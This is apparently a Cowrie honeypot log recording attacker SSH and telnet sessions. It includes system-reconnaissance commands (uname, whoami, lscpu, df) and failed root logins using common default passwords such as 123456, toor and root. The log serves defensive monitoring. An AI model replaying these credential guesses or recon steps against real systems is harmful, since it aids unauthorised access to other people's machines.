{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.498310Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.579648Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.582425Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.595538Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.691110Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.693539Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.714486Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.784986Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.788396Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.803856Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.874246Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.878501Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.894858Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.968119Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.971133Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.987278Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:41.047758Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:41.051961Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:41.067839Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:41.075227Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:41.141949Z","src_ip":"50.225.176.238","session":"1d26790da0db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65053,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ac39d16ec5b","protocol":"telnet","message":"New connection: 212.55.149.117:65053 (10.17.0.5:23) [session: 0ac39d16ec5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:46.304452Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60120,"dst_ip":"159.203.135.109","dst_port":22,"session":"4714b31eda86","protocol":"ssh","message":"New connection: 159.203.171.163:60120 (159.203.135.109:22) [session: 4714b31eda86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.516131Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60136,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c876709d930","protocol":"ssh","message":"New connection: 159.203.171.163:60136 (159.203.135.109:22) [session: 4c876709d930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.521339Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60114,"dst_ip":"159.203.135.109","dst_port":22,"session":"3153063a76b5","protocol":"ssh","message":"New connection: 159.203.171.163:60114 (159.203.135.109:22) [session: 3153063a76b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.525628Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60112,"dst_ip":"159.203.135.109","dst_port":22,"session":"819e1b5f45d9","protocol":"ssh","message":"New connection: 159.203.171.163:60112 (159.203.135.109:22) [session: 819e1b5f45d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.529738Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60098,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce254603ecc3","protocol":"ssh","message":"New connection: 159.203.171.163:60098 (159.203.135.109:22) [session: ce254603ecc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.533275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.537503Z","src_ip":"159.203.171.163","session":"4714b31eda86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.544759Z","src_ip":"159.203.171.163","session":"4714b31eda86","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.556936Z","src_ip":"159.203.171.163","session":"4c876709d930","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.560777Z","src_ip":"159.203.171.163","session":"3153063a76b5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.564855Z","src_ip":"159.203.171.163","session":"819e1b5f45d9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.568816Z","src_ip":"159.203.171.163","session":"ce254603ecc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.577370Z","src_ip":"159.203.171.163","session":"4c876709d930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.584003Z","src_ip":"159.203.171.163","session":"3153063a76b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.589795Z","src_ip":"159.203.171.163","session":"819e1b5f45d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.596254Z","src_ip":"159.203.171.163","session":"ce254603ecc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.619759Z","src_ip":"159.203.171.163","session":"4714b31eda86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.629004Z","src_ip":"159.203.171.163","session":"ce254603ecc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.633058Z","src_ip":"159.203.171.163","session":"4c876709d930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.638268Z","src_ip":"159.203.171.163","session":"3153063a76b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:03.643761Z","src_ip":"159.203.171.163","session":"819e1b5f45d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.627156Z","src_ip":"159.203.171.163","session":"4714b31eda86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60144,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d7f9c9a7ed","protocol":"ssh","message":"New connection: 159.203.171.163:60144 (159.203.135.109:22) [session: 77d7f9c9a7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.631981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.637375Z","src_ip":"159.203.171.163","session":"77d7f9c9a7ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.642946Z","src_ip":"159.203.171.163","session":"77d7f9c9a7ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.648935Z","src_ip":"159.203.171.163","session":"ce254603ecc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60158,"dst_ip":"159.203.135.109","dst_port":22,"session":"35dabad09d9a","protocol":"ssh","message":"New connection: 159.203.171.163:60158 (159.203.135.109:22) [session: 35dabad09d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.652446Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.171.163","src_port":60168,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eace2c11a17","protocol":"ssh","message":"New connection: 159.203.171.163:60168 (159.203.135.109:22) [session: 4eace2c11a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:51:04.659438Z"}
